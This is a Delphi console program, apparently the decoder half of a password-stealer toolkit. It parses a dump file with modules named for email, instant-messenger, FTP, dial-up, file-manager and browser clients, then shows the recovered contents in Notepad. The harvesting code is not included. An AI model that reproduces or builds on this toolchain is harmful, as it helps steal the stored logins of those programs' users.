program Console;

uses
  Windows,
  Classes,
  aplibu in 'aPlib\aplibu.pas',
  DCPcrypt2 in 'DCP\DCPcrypt2.pas',
  DCPconst in 'DCP\DCPconst.pas',
  DCPblockciphers in 'DCP\DCPblockciphers.pas',  
  DCPdes in 'DCP\DCPdes.pas',
  DCPbase64 in 'DCP\DCPbase64.pas',
  DCPmd5 in 'DCP\DCPmd5.pas',
  DCPsha1 in 'DCP\DCPsha1.pas',
  Mod_Common in 'Mod_Common.pas',
  Mod_SysInfo in 'Mod_SysInfo.pas',
  Mod_TheBat in 'Mod_TheBat.pas',
  Mod_ICQ99b in 'Mod_ICQ99b.pas',
  Mod_ICQ2003 in 'Mod_ICQ2003.pas',
  Mod_Miranda in 'Mod_Miranda.pas',
  Mod_RQ in 'Mod_RQ.pas',
  Mod_RAS in 'Mod_RAS.pas',
  Mod_FAR in 'Mod_FAR.pas',
  Mod_Trillian in 'Mod_Trillian.pas',
  Mod_WTC in 'Mod_WTC.pas',
  Mod_Becky in 'Mod_Becky.pas',
  Mod_PStorage in 'Mod_PStorage.pas',
  Mod_CuteFTP in 'Mod_CuteFTP.pas',
  Mod_EDialer in 'Mod_EDialer.pas',
  Mod_WS_FTP in 'Mod_WS_FTP.pas',
  Mod_Opera in 'Mod_Opera.pas';

var
  P: TModuleParser;
  Err, S: String;
  i: Integer;
  List: TStringList;
  
begin
  S := '';
  P := TModuleParser.Create;
  try
    P.LoadFromFile('C:\out.bin');
    P.RunAll;
    if P.Error <> 0 then begin
      Err := '<' + P.ErrClassName + '> ';
      case P.Error of
        ERR_PARSING: Err := Err + 'Parsing error';
        ERR_UNK_MODULE: Err := Err + 'Unknown module';
        ERR_UNK_ITEM: Err := Err + 'Unknown item';
        ERR_MOD_INTERNAL: Err := Err + 'Internal module error';
      else
        Err := Err + 'Unknown';
      end;
      S := S + 'Error: ' + Err + #13#10;
    end else begin
      for i := 0 to P.ModuleList.Count-1 do begin
        S := S + TModule(P.ModuleList.Items[i]).ModuleName + #13#10 + '-------------------------------------------------------------------------------' +
        #13#10 + TModule(P.ModuleList.Items[i]).GetAsText + #13#10;
      end;
    end;
  except
    S := S + 'Error! Check out c:\out.bin.';
  end;
  P.Free;

  List := TStringList.Create;
  List.Text := S;
  List.SaveToFile('C:\out.txt');
  List.Free;

  WinExec('notepad.exe C:\out.txt', SW_SHOWNORMAL);
end.
